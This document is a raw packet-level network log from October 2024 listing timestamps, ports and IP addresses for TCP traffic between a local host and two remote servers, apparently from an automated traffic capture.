Oct 6, 2024 22:33:12.145436049 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.145443916 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.148412943 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.148443937 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.148622036 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.148653030 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.148684978 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.148704052 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.148869991 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.148884058 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.148969889 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.148986101 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.181268930 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.181420088 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.181555033 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.181637049 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.181652069 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.181665897 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.181674004 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.184377909 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.184390068 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.184453964 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.184776068 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.184788942 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.204364061 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.204495907 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.204579115 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.204742908 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.204749107 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.204761982 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.204766989 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.206809998 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.206820965 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.206880093 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.207007885 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.207020998 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.744580984 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.745076895 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.745099068 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.745549917 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.745558023 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.787991047 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.788538933 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.788569927 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.789237976 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.789246082 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.822379112 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.823072910 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.823085070 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.823648930 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.823654890 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.826035976 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.826405048 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.826414108 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.826807976 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.826813936 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.828203917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:12.828274965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:12.844067097 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.844134092 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.844402075 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.844449043 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.844475985 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.844489098 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.844496965 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.848381042 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.848433018 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.848495960 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.848701954 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.848721981 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.862891912 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.863254070 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.863269091 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.863626003 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.863631964 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.886264086 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.886388063 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.886497021 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.886646032 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.886658907 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.886703014 CEST	49772	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.886709929 CEST	443	49772	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.888657093 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.888691902 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.888792038 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.888917923 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.888932943 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.924113989 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.924240112 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.924290895 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.924371958 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.924386978 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.924401999 CEST	49774	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.924410105 CEST	443	49774	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.926667929 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.926711082 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.926733017 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.926750898 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.926759958 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.926801920 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.926911116 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.926917076 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.926929951 CEST	49773	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.926934958 CEST	443	49773	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.926963091 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.926975965 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.928941011 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.928968906 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.929028034 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.929156065 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.929172993 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.929569960 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:12.934341908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:12.962601900 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.962783098 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.962871075 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.962889910 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.962897062 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.962908030 CEST	49775	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.962913036 CEST	443	49775	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.964714050 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.964736938 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.964802980 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.964912891 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.964935064 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.500042915 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.506355047 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.506373882 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.506855011 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.506860971 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.543591976 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.544063091 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.544080973 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.544480085 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.544485092 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.568145990 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.568481922 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.568495035 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.568840027 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.568845034 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.603024960 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.603161097 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.603398085 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.603398085 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.603398085 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.605906010 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.605931997 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.606007099 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.606128931 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.606151104 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.627373934 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.627760887 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.627782106 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.628213882 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.628319979 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.633398056 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.633687973 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.633712053 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.634016037 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.634021997 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.654788971 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.654918909 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.655031919 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.655472994 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.655472994 CEST	49777	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.655486107 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.655495882 CEST	443	49777	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.657309055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.657386065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.657526016 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.657574892 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.657644033 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.657738924 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.657747984 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.668437004 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.668562889 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.668620110 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.668785095 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.668785095 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.668791056 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.668797970 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.670454979 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.670485020 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.670552015 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.670686007 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.670701981 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.696091890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.701061010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.732403994 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.732480049 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.732564926 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.733007908 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.733026028 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.733059883 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.733067036 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.734009981 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.734150887 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.734199047 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.734235048 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.734235048 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.734253883 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.734266043 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.735137939 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.735158920 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.735233068 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.735318899 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.735328913 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.735928059 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.735959053 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.736032009 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.736141920 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.736161947 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.821930885 CEST	49776	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:13.821949005 CEST	443	49776	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:13.877485991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877505064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877528906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877548933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877564907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877640009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877655983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877671003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877684116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877698898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877716064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877727985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877743006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877757072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877765894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877779961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877796888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877850056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877865076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877878904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877893925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877904892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.877916098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877937078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.877952099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966573954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966624022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966653109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966667891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966696978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966706038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966730118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966744900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966766119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966775894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966809988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966825008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966840982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966850996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966861963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966878891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966924906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966959953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.966972113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.966986895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967008114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967020988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967176914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967191935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967206955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967216969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967227936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967243910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967251062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967264891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967276096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967288971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967298031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967313051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967323065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967335939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967344999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967359066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967369080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967397928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967555046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967570066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967586040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967597008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967612028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967618942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967628956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967642069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:13.967663050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:13.967684031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055354118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055425882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055447102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055469036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055484056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055543900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055557966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055572033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055586100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055587053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055587053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055587053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055603027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055603027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055622101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055660963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055676937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055705070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055720091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055732965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055742025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055766106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055855036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055870056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055883884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055893898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055906057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055916071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.055924892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055948973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.055989027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056001902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056015968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056025028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056037903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056046963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056057930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056070089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056083918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056093931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056106091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056122065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056222916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056238890 CEST	80	49741	141.98.233.156	192.168.2.4
